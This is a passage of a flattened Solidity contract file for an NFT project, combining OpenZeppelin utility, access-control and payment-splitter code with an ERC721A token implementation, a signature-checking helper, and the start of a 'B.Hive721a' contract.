https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: contracts/extensions/ERC721ABurnable.sol // Creator: Chiru Labs pragma solidity ^0.8.7; /** * @title ERC721A Burnable Token * @dev ERC721A Token that can be irreversibly burned (destroyed). */ abstract contract ERC721ABurnable is Context, ERC721A { /** * @dev Burns `tokenId`. See {ERC721A-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); _burn(tokenId); } } // File: contracts/extensions/MessageSigning.sol pragma solidity ^0.8.4; abstract contract MessageSigning { // Signer Address address internal signerAddress; constructor(address signerAddress_){ signerAddress = signerAddress_; } /************ * @dev message singing handling ************/ function isValidSignature(bytes memory message, bytes memory signature) public view returns (bool) { bytes32 _messageHash = keccak256(abi.encodePacked(message)); bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)); return _recoverSigner(ethSignedMessageHash, signature) == signerAddress; } /** * @dev Set the _signerAddress just in case */ function _setSignerAddress(address newSignerAddress) internal virtual { require(newSignerAddress != signerAddress, "New Signer Address cannot be the same as current one"); signerAddress = newSignerAddress; } function _recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function _splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) { require(sig.length == 65, "invalid signature length"); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: contracts/B.Hive721a.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.7; //t ___ ___ //o _____ /\ \ ___ /\__\ //n /::\ \ \:\ \ ___ /\ \ /:/ _/_ //y /:/\:\ \ \:\ \ /\__\ \:\ \ /:/ /\__\ //3 /:/ /::\__\ ___ /::\ \ /:/__/ \:\ \ /:/ /:/ _/_ //6 /:/_/:/\:|__| /\ /:/\:\__\ /::\ \ ___ \:\__\ /:/_/:/ /\__\ //5 \:\/:/ /:/ / \:\/:/ \/__/ \/\:\ \__ /\ \ |:| | \:\/:/ /:/ / //. \::/_/:/ / 